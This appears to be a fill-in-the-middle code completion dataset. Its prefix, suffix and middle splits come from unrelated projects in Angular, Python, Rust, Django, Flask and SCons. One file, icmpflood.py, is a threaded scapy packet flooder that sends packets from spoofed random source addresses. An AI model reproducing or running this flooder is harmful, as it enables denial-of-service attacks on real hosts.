file_name
large_stringlengths
4
140
prefix
large_stringlengths
0
12.1k
suffix
large_stringlengths
0
12k
middle
large_stringlengths
0
7.51k
fim_type
large_stringclasses
4 values
jodirectsend.component.ts
import {Component} from '@angular/core' import {JoDirectService, JoDirectResponse, JoDirectCode} from '../../services/jodirect.service' @Component({ selector: `jodirect-send-page`, template: ` <div id="parent"> <span [style.display]="itemDisplay">You can only send one message to a token, s...
this.error = 'You already sent a message to this token!' } if (this.error !== '') { this.errorDisplay = 'block' } }) } } }
{ this.error = '' this.errorDisplay = 'none' if (this.token === '') { this.error = 'Token is empty!' } else if (this.message === '') { this.error = 'Message is empty!' } if (this.error !== '') { this.errorDisplay = 'block' } el...
identifier_body
jodirectsend.component.ts
import {Component} from '@angular/core' import {JoDirectService, JoDirectResponse, JoDirectCode} from '../../services/jodirect.service' @Component({ selector: `jodirect-send-page`, template: ` <div id="parent"> <span [style.display]="itemDisplay">You can only send one message to a token, s...
(private joDirectService: JoDirectService) { } onSend() { this.error = '' this.errorDisplay = 'none' if (this.token === '') { this.error = 'Token is empty!' } else if (this.message === '') { this.error = 'Message is empty!' } if (this.err...
constructor
identifier_name
icmpflood.py
#!/usr/bin/env python # # ICMP flooder # # Date: Oct. 22, 2012 # All rights reserved. # import socket,sys,threading import threading,time import scapy.arch,random from scapy.all import sr1,IP,ICMP,TCP scapy.config.conf.iface="eth0" class sendSYN(threading.Thread): def __init__(self, id, name, target, port): self....
if __name__ == "__main__": if len(sys.argv) != 4: print "Usage: %s <target> <port> <num_threads>" % sys.argv[0] sys.exit(1) target=sys.argv[1] port=int(sys.argv[2]) thds=int(sys.argv[3]) floodsyn(target, port, thds)
total = 0 print "Flooding SYN to %s:%i" % (target, port) while 1: if threading.activeCount() < thds: sd = sendSYN(total, "Thread-" + str(total), target, port) sd.start() total += 1 #sys.stdout.write("\rTotal packet sent: \t\t\t%i\n" % total)
identifier_body
icmpflood.py
#!/usr/bin/env python # # ICMP flooder # # Date: Oct. 22, 2012 # All rights reserved. # import socket,sys,threading import threading,time import scapy.arch,random from scapy.all import sr1,IP,ICMP,TCP scapy.config.conf.iface="eth0" class sendSYN(threading.Thread): def __init__(self, id, name, target, port): self....
if __name__ == "__main__": if len(sys.argv) != 4: print "Usage: %s <target> <port> <num_threads>" % sys.argv[0] sys.exit(1) target=sys.argv[1] port=int(sys.argv[2]) thds=int(sys.argv[3]) floodsyn(target, port, thds)
if threading.activeCount() < thds: sd = sendSYN(total, "Thread-" + str(total), target, port) sd.start() total += 1 #sys.stdout.write("\rTotal packet sent: \t\t\t%i\n" % total)
conditional_block
icmpflood.py
#!/usr/bin/env python # # ICMP flooder # # Date: Oct. 22, 2012 # All rights reserved. # import socket,sys,threading import threading,time import scapy.arch,random from scapy.all import sr1,IP,ICMP,TCP scapy.config.conf.iface="eth0" class
(threading.Thread): def __init__(self, id, name, target, port): self.threadID = id self.name = name self.target = target self.port = port threading.Thread.__init__(self) def run(self): print "Starting %s %s %d" % (self.name, self.target, self.port) i = IP() i.src="%i.%i.%i.%i" % (random.randint(1, 25...
sendSYN
identifier_name
icmpflood.py
#!/usr/bin/env python # # ICMP flooder # # Date: Oct. 22, 2012 # All rights reserved. # import socket,sys,threading import threading,time import scapy.arch,random from scapy.all import sr1,IP,ICMP,TCP scapy.config.conf.iface="eth0" class sendSYN(threading.Thread): def __init__(self, id, name, target, port): self....
i.src="%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1,254), random.randint(1, 254), random.randint(1,254)) i.dst = self.target t = ICMP() print "Spoofing %s to send ICMP ..." % i.src sr1(i/ICMP,verbose=0) def floodicmp(target, port, thds): total = 0 print "Flooding SYN to %s:%i" % (target, port...
random_line_split
rfc1157.py
# # SNMPv1 message syntax # # ASN.1 source from: # http://www.ietf.org/rfc/rfc1157.txt # # Sample captures from: # http://wiki.wireshark.org/SampleCaptures/ # from pyasn1.type import univ, namedtype, namedval, tag from pyasn1_modules import rfc1155 class Version(univ.Integer): namedValues = namedval.NamedValues( ...
(_RequestBase): tagSet = _RequestBase.tagSet.tagImplicitly( tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 1) ) class GetResponsePDU(_RequestBase): tagSet = _RequestBase.tagSet.tagImplicitly( tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 2) ) class SetRequestPDU(_Req...
GetNextRequestPDU
identifier_name
rfc1157.py
# # SNMPv1 message syntax # # ASN.1 source from: # http://www.ietf.org/rfc/rfc1157.txt # # Sample captures from: # http://wiki.wireshark.org/SampleCaptures/ # from pyasn1.type import univ, namedtype, namedval, tag from pyasn1_modules import rfc1155 class Version(univ.Integer): namedValues = namedval.NamedValues( ...
class _RequestBase(univ.Sequence): componentType = namedtype.NamedTypes( namedtype.NamedType('request-id', RequestID()), namedtype.NamedType('error-status', ErrorStatus()), namedtype.NamedType('error-index', ErrorIndex()), namedtype.NamedType('variable-bindings', VarBindList()) ...
componentType = VarBind()
identifier_body
rfc1157.py
# # SNMPv1 message syntax # # ASN.1 source from: # http://www.ietf.org/rfc/rfc1157.txt # # Sample captures from: # http://wiki.wireshark.org/SampleCaptures/ # from pyasn1.type import univ, namedtype, namedval, tag from pyasn1_modules import rfc1155 class Version(univ.Integer): namedValues = namedval.NamedValues( ...
) class GetNextRequestPDU(_RequestBase): tagSet = _RequestBase.tagSet.tagImplicitly( tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 1) ) class GetResponsePDU(_RequestBase): tagSet = _RequestBase.tagSet.tagImplicitly( tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 2) ...
class GetRequestPDU(_RequestBase): tagSet = _RequestBase.tagSet.tagImplicitly( tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 0)
random_line_split
Alias.py
"""scons.Node.Alias Alias nodes. This creates a hash of global Aliases (dummy targets). """ # # Copyright (c) 2001 - 2014 The SCons Foundation # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the # "Software"), to deal in the So...
try: a = self[name] except KeyError: a = SCons.Node.Alias.Alias(name, **kw) self[name] = a return a def lookup(self, name, **kw): try: return self[name] except KeyError: return None class AliasNodeInfo(SCons.Node....
return name
conditional_block
Alias.py
"""scons.Node.Alias Alias nodes. This creates a hash of global Aliases (dummy targets). """ # # Copyright (c) 2001 - 2014 The SCons Foundation # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the # "Software"), to deal in the So...
(SCons.Node.BuildInfoBase): current_version_id = 1 class Alias(SCons.Node.Node): NodeInfo = AliasNodeInfo BuildInfo = AliasBuildInfo def __init__(self, name): SCons.Node.Node.__init__(self) self.name = name def str_for_display(self): return '"' + self.__str__() + '"' ...
AliasBuildInfo
identifier_name
Alias.py
"""scons.Node.Alias Alias nodes. This creates a hash of global Aliases (dummy targets). """ # # Copyright (c) 2001 - 2014 The SCons Foundation # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the # "Software"), to deal in the So...
# Make Alias nodes get built regardless of # what directory scons was run from. Alias nodes # are outside the filesystem: return 1 def get_contents(self): """The contents of an alias is the concatenation of the content signatures of all its sources.""" childs...
NodeInfo = AliasNodeInfo BuildInfo = AliasBuildInfo def __init__(self, name): SCons.Node.Node.__init__(self) self.name = name def str_for_display(self): return '"' + self.__str__() + '"' def __str__(self): return self.name def make_ready(self): self.get_cs...
identifier_body
Alias.py
"""scons.Node.Alias Alias nodes. This creates a hash of global Aliases (dummy targets). """ # # Copyright (c) 2001 - 2014 The SCons Foundation # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the # "Software"), to deal in the Sof...
def build(self): """A "builder" for aliases.""" pass def convert(self): try: del self.builder except AttributeError: pass self.reset_executor() self.build = self.really_build def get_csig(self): """ Generate a node's content signature, the d...
try: return cur_csig != prev_ni.csig except AttributeError: return 1
random_line_split
build_search_filters.py
from django.db.models import fields, ForeignKey, ManyToOneRel, OneToOneRel from .obj_types import clss from .search_schema import schema as search_schema def build_search_filters(cls): """Return list of dicts of options for a QueryBuilder filter. See https://querybuilder.js.org/#filters for details. ""...
field = cls._meta.get_field(field_name) builder = { ForeignKey: _build_search_filter_fk, ManyToOneRel: _build_search_filter_rev_fk, OneToOneRel: _build_search_filter_rev_fk, fields.CharField: _build_search_filter_char, fields.DateField: _build_search_filter_date, ...
return _build_search_filter_bnf_code_prefox()
conditional_block
build_search_filters.py
from django.db.models import fields, ForeignKey, ManyToOneRel, OneToOneRel from .obj_types import clss from .search_schema import schema as search_schema def build_search_filters(cls): """Return list of dicts of options for a QueryBuilder filter. See https://querybuilder.js.org/#filters for details. ""...
(field): return { "type": "date", "label": field.help_text, "operators": ["equal", "before", "after"], "plugin": "datepicker", "plugin_config": {"format": "yyyy-mm-dd"}, } def _build_search_filter_boolean(field): return { "type": "boolean", "label": ...
_build_search_filter_date
identifier_name
build_search_filters.py
from django.db.models import fields, ForeignKey, ManyToOneRel, OneToOneRel from .obj_types import clss from .search_schema import schema as search_schema def build_search_filters(cls): """Return list of dicts of options for a QueryBuilder filter. See https://querybuilder.js.org/#filters for details. ""...
def _build_search_filter_date(field): return { "type": "date", "label": field.help_text, "operators": ["equal", "before", "after"], "plugin": "datepicker", "plugin_config": {"format": "yyyy-mm-dd"}, } def _build_search_filter_boolean(field): return { "typ...
return { "type": "string", "label": field.help_text, "operators": ["contains"], "validation": {"min": 3}, }
identifier_body
build_search_filters.py
from django.db.models import fields, ForeignKey, ManyToOneRel, OneToOneRel from .obj_types import clss from .search_schema import schema as search_schema def build_search_filters(cls): """Return list of dicts of options for a QueryBuilder filter. See https://querybuilder.js.org/#filters for details.
_build_search_filter(cls, field_name) for field_name in search_schema[cls.obj_type]["fields"] ] return filters def _build_search_filter(cls, field_name): if field_name == "bnf_code": return _build_search_filter_bnf_code_prefox() field = cls._meta.get_field(field_name) bui...
""" filters = [
random_line_split
connection_interface.rs
/* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ use interner::{Intern, StringKey}; use serde::{Deserialize, Serialize}; /// Configuration where Relay should expect some fields i...
}
{ ConnectionInterface { cursor: "cursor".intern(), edges: "edges".intern(), end_cursor: "endCursor".intern(), has_next_page: "hasNextPage".intern(), has_previous_page: "hasPreviousPage".intern(), node: "node".intern(), page_info...
identifier_body
connection_interface.rs
/* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ use interner::{Intern, StringKey}; use serde::{Deserialize, Serialize}; /// Configuration where Relay should expect some fields i...
start_cursor: "startCursor".intern(), } } }
random_line_split
connection_interface.rs
/* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ use interner::{Intern, StringKey}; use serde::{Deserialize, Serialize}; /// Configuration where Relay should expect some fields i...
() -> Self { ConnectionInterface { cursor: "cursor".intern(), edges: "edges".intern(), end_cursor: "endCursor".intern(), has_next_page: "hasNextPage".intern(), has_previous_page: "hasPreviousPage".intern(), node: "node".intern(), ...
default
identifier_name
class-separate-impl.rs
// Copyright 2012 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or ...
impl cat { fn meow(&mut self) { error!("Meow"); self.meows += 1u; if self.meows % 5u == 0u { self.how_hungry += 1; } } } fn cat(in_x : uint, in_y : int, in_name: ~str) -> cat { cat { meows: in_x, how_hungry: in_y, name: in_name } } i...
} }
random_line_split
class-separate-impl.rs
// Copyright 2012 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or ...
(&mut self) { error!("Meow"); self.meows += 1u; if self.meows % 5u == 0u { self.how_hungry += 1; } } } fn cat(in_x : uint, in_y : int, in_name: ~str) -> cat { cat { meows: in_x, how_hungry: in_y, name: in_name } } impl ToStr for cat { ...
meow
identifier_name
class-separate-impl.rs
// Copyright 2012 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or ...
else { error!("Not hungry!"); return false; } } } impl cat { fn meow(&mut self) { error!("Meow"); self.meows += 1u; if self.meows % 5u == 0u { self.how_hungry += 1; } } } fn cat(in_x : uint, in_y : int, in_name: ~str) -> ...
{ error!("OM NOM NOM"); self.how_hungry -= 2; return true; }
conditional_block
class-separate-impl.rs
// Copyright 2012 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or ...
} fn print_out(thing: @ToStr, expected: ~str) { let actual = thing.to_str(); info!("%s", actual); assert_eq!(actual, expected); } pub fn main() { let nyan : @ToStr = @cat(0u, 2, ~"nyan") as @ToStr; print_out(nyan, ~"nyan"); }
{ self.name.clone() }
identifier_body
auth.py
import functools import os import flask import werkzeug.security from .db import get_db from .looker import get_my_user bp = flask.Blueprint("auth", __name__, url_prefix="/auth") @bp.route("/register", methods=("GET", "POST")) def register(): if flask.request.method == "POST": username = flask.request.f...
(): flask.session.clear() return flask.redirect(flask.url_for("index")) def login_required(view): @functools.wraps(view) def wrapped_view(**kwargs): if flask.session["user_id"] is None: return flask.redirect(flask.url_for("auth.login")) return view(**kwargs) return wra...
logout
identifier_name
auth.py
import functools import os import flask import werkzeug.security from .db import get_db from .looker import get_my_user bp = flask.Blueprint("auth", __name__, url_prefix="/auth") @bp.route("/register", methods=("GET", "POST")) def register(): if flask.request.method == "POST": username = flask.request.f...
flask.flash(error) return flask.render_template("auth/login.html") # This fires before every request and loads in the looker base URL to be available in the header @bp.before_app_request def load_instance(): flask.session["lookerurl"] = os.environ.get("LOOKERSDK_BASE_URL") @bp.route("/logout") def ...
flask.session.clear() flask.session["user_id"] = user["id"] flask.session["user_name"] = user["username"] return flask.redirect(flask.url_for("index"))
conditional_block
auth.py
import functools import os import flask import werkzeug.security from .db import get_db from .looker import get_my_user bp = flask.Blueprint("auth", __name__, url_prefix="/auth") @bp.route("/register", methods=("GET", "POST")) def register(): if flask.request.method == "POST": username = flask.request.f...
def login_required(view): @functools.wraps(view) def wrapped_view(**kwargs): if flask.session["user_id"] is None: return flask.redirect(flask.url_for("auth.login")) return view(**kwargs) return wrapped_view
flask.session.clear() return flask.redirect(flask.url_for("index"))
identifier_body
auth.py
import functools import os import flask import werkzeug.security from .db import get_db from .looker import get_my_user bp = flask.Blueprint("auth", __name__, url_prefix="/auth") @bp.route("/register", methods=("GET", "POST")) def register(): if flask.request.method == "POST": username = flask.request.f...
flask.flash(error) return flask.render_template("auth/register.html") @bp.route("/login", methods=("GET", "POST")) def login(): if flask.request.method == "POST": username = flask.request.form["username"] password = flask.request.form["password"] db = get_db() error = N...
return flask.redirect(flask.url_for("auth.login"))
random_line_split
18.py
#!/usr/bin/python y = '''75 95 64 17 47 82 18 35 87 10 20 04 82 47 65 19 01 23 75 03 34 88 02 77 73 07 63 67 99 65 04 28 06 16 70 92 41 41 26 56 83 40 80 70 33 41 48 72 33 47 32 37 16 94 29 53 71 44 65 25 43 91 52 97 51 14 70 11 33 28 77 73 17 78 39 68 17 57 91 71 52 38 17 14 91 43 58 50 27 29 48 63 66 04 68 89 53 67 ...
print int(a[y_pos+1][x_pos]) tally += int(a[y_pos+1][x_pos]) print tally
x_pos += 1
conditional_block
18.py
#!/usr/bin/python y = '''75 95 64 17 47 82 18 35 87 10 20 04 82 47 65 19 01 23 75 03 34 88 02 77 73 07 63 67 99 65 04 28 06 16 70 92 41 41 26 56 83 40 80 70 33 41 48 72 33 47 32 37 16 94 29 53 71 44 65 25 43 91 52 97 51 14 70 11 33 28 77 73 17 78 39 68 17 57 91 71 52 38 17 14 91 43 58 50 27 29 48 63 66 04 68 89 53 67 ...
print tally
print int(a[y_pos+1][x_pos]) tally += int(a[y_pos+1][x_pos])
random_line_split
AdaptingStyledComponents.tsx
import React from 'react'; import { styled } from '@material-ui/core/styles'; import Button, { ButtonProps } from '@material-ui/core/Button'; import { Omit } from '@material-ui/types'; interface MyButtonProps { color: 'red' | 'blue'; } const MyButton = styled( ({ color, ...other }: MyButtonProps & Omit<ButtonProp...
{ return ( <React.Fragment> <MyButton color="red">Red</MyButton> <MyButton color="blue">Blue</MyButton> </React.Fragment> ); }
identifier_body
AdaptingStyledComponents.tsx
import React from 'react'; import { styled } from '@material-ui/core/styles'; import Button, { ButtonProps } from '@material-ui/core/Button'; import { Omit } from '@material-ui/types'; interface MyButtonProps { color: 'red' | 'blue'; } const MyButton = styled( ({ color, ...other }: MyButtonProps & Omit<ButtonProp...
export default function AdaptingStyledComponents() { return ( <React.Fragment> <MyButton color="red">Red</MyButton> <MyButton color="blue">Blue</MyButton> </React.Fragment> ); }
padding: '0 30px', margin: 8, });
random_line_split
AdaptingStyledComponents.tsx
import React from 'react'; import { styled } from '@material-ui/core/styles'; import Button, { ButtonProps } from '@material-ui/core/Button'; import { Omit } from '@material-ui/types'; interface MyButtonProps { color: 'red' | 'blue'; } const MyButton = styled( ({ color, ...other }: MyButtonProps & Omit<ButtonProp...
() { return ( <React.Fragment> <MyButton color="red">Red</MyButton> <MyButton color="blue">Blue</MyButton> </React.Fragment> ); }
AdaptingStyledComponents
identifier_name
lib.rs
/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //! This module contains traits in script used generically in the rest of Servo. //! The traits are here instead o...
{ /// Data that the style system associates with a node. When the /// style system is being used standalone, this is all that hangs /// off the node. This must be first to permit the various /// transmutations between ElementData and PersistentLayoutData. pub style_data: ElementData, /// Infor...
PartialPersistentLayoutData
identifier_name
lib.rs
/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //! This module contains traits in script used generically in the rest of Servo. //! The traits are here instead o...
{ static TYPES: &'static [&'static str] = &["data:image/png", "data:image/gif", "data:image/jpeg"]; TYPES.iter().any(|&type_| uri.starts_with(type_)) }
identifier_body
lib.rs
/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //! This module contains traits in script used generically in the rest of Servo. //! The traits are here instead o...
} } } #[derive(Copy, Clone, PartialEq, Eq, Debug)] pub enum LayoutNodeType { Element(LayoutElementType), Text, } #[derive(Copy, Clone, PartialEq, Eq, Debug)] pub enum LayoutElementType { Element, HTMLCanvasElement, HTMLIFrameElement, HTMLImageElement, HTMLInputElement, HTM...
random_line_split
setting.py
#-*- coding: utf-8 -*- from flask import current_app, flash, url_for, request from flask_admin import expose, BaseView from logpot.admin.base import AuthenticateView, flash_errors from logpot.admin.forms import SettingForm from logpot.utils import ImageUtil, getDirectoryPath, loadSiteConfig, saveSiteConfig import os...
(self, filestorage): buffer = filestorage.stream buffer.seek(0) image = Image.open(buffer) image = ImageUtil.crop_image(image, 64) current_app.logger.info(image) dirpath = getDirectoryPath(current_app, '_settings') filepath = os.path.join(dirpath, "profile.png") ...
saveProfileImage
identifier_name
setting.py
#-*- coding: utf-8 -*- from flask import current_app, flash, url_for, request from flask_admin import expose, BaseView from logpot.admin.base import AuthenticateView, flash_errors from logpot.admin.forms import SettingForm from logpot.utils import ImageUtil, getDirectoryPath, loadSiteConfig, saveSiteConfig import os...
flash('Successfully saved.') else: flash_errors('Oops. Save error.') else: flash_errors(form) data = loadSiteConfig(current_app) form.title.data = data['site_title'] form.subtitle.data = data['site_subtitle...
form = SettingForm() if form.validate_on_submit(): if form.profile_img.data: file = form.profile_img.data self.saveProfileImage(file) data = {} data['site_title'] = form.title.data data['site_subtitle'] = form.subti...
identifier_body
setting.py
#-*- coding: utf-8 -*- from flask import current_app, flash, url_for, request from flask_admin import expose, BaseView from logpot.admin.base import AuthenticateView, flash_errors from logpot.admin.forms import SettingForm from logpot.utils import ImageUtil, getDirectoryPath, loadSiteConfig, saveSiteConfig import os...
data = {} data['site_title'] = form.title.data data['site_subtitle'] = form.subtitle.data data['site_author'] = form.author.data data['site_author_profile'] = form.author_profile.data data['enable_link_github'] = form.enab...
file = form.profile_img.data self.saveProfileImage(file)
conditional_block
setting.py
#-*- coding: utf-8 -*- from flask import current_app, flash, url_for, request from flask_admin import expose, BaseView from logpot.admin.base import AuthenticateView, flash_errors from logpot.admin.forms import SettingForm
import os from PIL import Image class SettingView(AuthenticateView, BaseView): def saveProfileImage(self, filestorage): buffer = filestorage.stream buffer.seek(0) image = Image.open(buffer) image = ImageUtil.crop_image(image, 64) current_app.logger.info(image) dirpa...
from logpot.utils import ImageUtil, getDirectoryPath, loadSiteConfig, saveSiteConfig
random_line_split
pair.rs
//! Hashable pair of objects implementing `HasUid`. use data::hash; use data::hash::HashFun; use data::uid_remap::FastKey; // XXX: Rename this `FastKeyPair`. /// An unordered pair of elements implementing `HasUid`. #[derive(Clone, Copy, RustcEncodable, RustcDecodable)] pub struct Pair { /// first object of the p...
else { Pair { first: a, second: b, ifirst: ib, isecond: ia } } } } impl PartialEq for Pair { #[inline] fn eq(&self, other: &Pair) -> bool { self.ifirst == other.ifirst && self.isecond == other.isecond } } /// Tomas Wang based hash functi...
{ Pair { first: a, second: b, ifirst: ia, isecond: ib } }
conditional_block
pair.rs
//! Hashable pair of objects implementing `HasUid`. use data::hash; use data::hash::HashFun; use data::uid_remap::FastKey; // XXX: Rename this `FastKeyPair`. /// An unordered pair of elements implementing `HasUid`. #[derive(Clone, Copy, RustcEncodable, RustcDecodable)] pub struct Pair { /// first object of the p...
}
{ hash::tomas_wang_hash( hash::key_from_pair( p.ifirst, p.isecond ) ) }
identifier_body
pair.rs
//! Hashable pair of objects implementing `HasUid`. use data::hash; use data::hash::HashFun; use data::uid_remap::FastKey; // XXX: Rename this `FastKeyPair`. /// An unordered pair of elements implementing `HasUid`. #[derive(Clone, Copy, RustcEncodable, RustcDecodable)] pub struct Pair { /// first object of the p...
(&self, other: &Pair) -> bool { self.ifirst == other.ifirst && self.isecond == other.isecond } } /// Tomas Wang based hash function for a `Pair` object. #[derive(RustcEncodable, RustcDecodable)] pub struct PairTWHash { unused: usize } // FIXME: ICE with zero-sized structs impl PairTWHash { /// Creates...
eq
identifier_name
pair.rs
//! Hashable pair of objects implementing `HasUid`. use data::hash; use data::hash::HashFun; use data::uid_remap::FastKey; // XXX: Rename this `FastKeyPair`. /// An unordered pair of elements implementing `HasUid`.
pub struct Pair { /// first object of the pair pub first: FastKey, /// second object of the pair pub second: FastKey, ifirst: usize, isecond: usize } impl Pair { /// Builds a new `Pair`. pub fn new(a: FastKey, b: FastKey) -> Pair { let ia = a.uid(); let ib = b.uid(); ...
#[derive(Clone, Copy, RustcEncodable, RustcDecodable)]
random_line_split
test_convert.py
# # Copyright © 2012 - 2021 Michal Čihař <michal@cihar.com> # # This file is part of Weblate <https://weblate.org/> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the Lice...
ntent): return bytes( OpenDocumentFormat.convertfile(BytesIOMode("test.odt", content), None) ).decode() def assert_same(self, newdata, testdata): self.assertEqual( self.extract_document(newdata), self.extract_document(testdata), ) class IDMLForm...
ract_document(co
identifier_name
test_convert.py
# # Copyright © 2012 - 2021 Michal Čihař <michal@cihar.com> # # This file is part of Weblate <https://weblate.org/> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the Lice...
MAT = PlainTextFormat FILE = TEST_TXT BASE = TEST_TXT MIME = "text/plain" EXT = "txt" COUNT = 5 MASK = "txt/*.txt" EXPECTED_PATH = "txt/cs_CZ.txt" MATCH = "Hello" FIND_CONTEXT = "cs.txt:2" FIND_MATCH = "Hello, world!" EDIT_OFFSET = 1
identifier_body
test_convert.py
# # Copyright © 2012 - 2021 Michal Čihař <michal@cihar.com> # # This file is part of Weblate <https://weblate.org/> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the Lice...
NEW_UNIT_MATCH = None BASE = IDML_FILE EXPECTED_FLAGS = "" EDIT_OFFSET = 1 @staticmethod def extract_document(content): return bytes( IDMLFormat.convertfile(BytesIOMode("test.idml", content), None) ).decode() def assert_same(self, newdata, testdata): sel...
) FIND_MATCH = """<g id="0"><g id="1">THE HEADLINE HERE</g></g>""" MATCH = b"PK"
random_line_split
lib.rs
#[macro_use] extern crate syntaxis; use syntaxis::{M, GR, NonTerminalSet, TerminalSet, NonTerminal, RegularProductions, gr_to_afndl, minify, afndl_to_afd}; #[test] fn
() { let vn: NonTerminalSet = charset!('S'); let vt: TerminalSet = charset!('a'); let q0: NonTerminal = 'S'; let productions: RegularProductions = r_productions!(('S', "aS"), ('S', "a")); let gr: GR = GR::new(vt, vn, productions, q0); let m: M = gr_to_afndl(&gr); println!("afndl {:?}", m); ...
grammar_to_automata_min
identifier_name
lib.rs
#[macro_use] extern crate syntaxis; use syntaxis::{M, GR, NonTerminalSet, TerminalSet, NonTerminal, RegularProductions, gr_to_afndl, minify, afndl_to_afd}; #[test] fn grammar_to_automata_min() { let vn: NonTerminalSet = charset!('S'); let vt: TerminalSet = charset!('a'); let q0: NonTerminal...
println!("minified {:?}", min_m); assert_eq!(m, min_m); //TODO: improve this test }
println!("afd {:?}", m); let min_m: M = minify(&m);
random_line_split
lib.rs
#[macro_use] extern crate syntaxis; use syntaxis::{M, GR, NonTerminalSet, TerminalSet, NonTerminal, RegularProductions, gr_to_afndl, minify, afndl_to_afd}; #[test] fn grammar_to_automata_min()
{ let vn: NonTerminalSet = charset!('S'); let vt: TerminalSet = charset!('a'); let q0: NonTerminal = 'S'; let productions: RegularProductions = r_productions!(('S', "aS"), ('S', "a")); let gr: GR = GR::new(vt, vn, productions, q0); let m: M = gr_to_afndl(&gr); println!("afndl {:?}", m); ...
identifier_body
archive_rt.py
# # Gordon McMillan (as inspired and influenced by Greg Stein) # # subclasses may not need marshal or struct, but since they're # builtin, importing is safe. # # While an Archive is really an abstraction for any "filesystem # within a file", it is tuned for use with imputil.FuncImporter. # This assumes it contains pyt...
if path is not None: self.lib = open(self.path, 'rb') self.checkmagic() self.loadtoc() ####### Sub-methods of __init__ - override as needed ############# def checkmagic(self): """ Overridable. Check to see if the file object self.lib actually has a file we understand. ...
""" A base class for a repository of python code objects. The extract method is used by imputil.ArchiveImporter to get code objects by name (fully qualified name), so an enduser "import a.b" would become extract('a.__init__') extract('a.b') """ MAGIC = 'PYL\0' HDRLEN = 12 ...
identifier_body
archive_rt.py
# # Gordon McMillan (as inspired and influenced by Greg Stein) # # subclasses may not need marshal or struct, but since they're # builtin, importing is safe. # # While an Archive is really an abstraction for any "filesystem # within a file", it is tuned for use with imputil.FuncImporter. # This assumes it contains pyt...
####### Sub-methods of __init__ - override as needed ############# def checkmagic(self): """ Overridable. Check to see if the file object self.lib actually has a file we understand. """ self.lib.seek(self.start) #default - magic is at start of file if self.lib.read(len(self.MAGIC...
self.lib = open(self.path, 'rb') self.checkmagic() self.loadtoc()
conditional_block
archive_rt.py
# # Gordon McMillan (as inspired and influenced by Greg Stein) # # subclasses may not need marshal or struct, but since they're # builtin, importing is safe. # # While an Archive is really an abstraction for any "filesystem # within a file", it is tuned for use with imputil.FuncImporter. # This assumes it contains pyt...
class Archive: """ A base class for a repository of python code objects. The extract method is used by imputil.ArchiveImporter to get code objects by name (fully qualified name), so an enduser "import a.b" would become extract('a.__init__') extract('a.b') """ MAGIC = 'PYL\0' H...
import marshal import struct
random_line_split
archive_rt.py
# # Gordon McMillan (as inspired and influenced by Greg Stein) # # subclasses may not need marshal or struct, but since they're # builtin, importing is safe. # # While an Archive is really an abstraction for any "filesystem # within a file", it is tuned for use with imputil.FuncImporter. # This assumes it contains pyt...
(self, name): (ispkg, pos, lngth) = self.toc.get(name, (0, None, 0)) if pos is None: return None self.lib.seek(self.start + pos) return ispkg, marshal.loads(zlib.decompress(self.lib.read(lngth))) ## def add(self, entry): ## if self.os is None: ## import os ## self.os = os ## nm =...
extract
identifier_name
test-model-request.js
var assert = require('assert'), mongoose = require('mongoose'), mockgoose = require('mockgoose'), Request, Mapping; // in-memory mongoose for model testing mockgoose(mongoose, true); Request = require('../../lib/models/request'); Mapping = require('../../lib/models/mapping'); exports.it_should_require_all_required_f...
return mapping.save(function(err, savedMapping){ assert.ok(!err, 'Unable to create simple mapping: ' + err); var mappingId = savedMapping._id; var req = new Request({ method : 'get', url : 'http://www.google.ie', mapping : mappingId, mountPath : '/' }); req.save(function(er...
] });
random_line_split
test_models.py
from geotrek.common.factories import LabelFactory from geotrek.common.models import Theme from django.core.files import File from django.test import TestCase import os class ThemeModelTest(TestCase): def setUp(self): self.directory = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'data') ...
class LabelTest(TestCase): def test_str(self): label = LabelFactory.create(name="foo") self.assertEqual(str(label), "foo")
if f not in self.files: os.remove(os.path.join(self.directory, f))
conditional_block
test_models.py
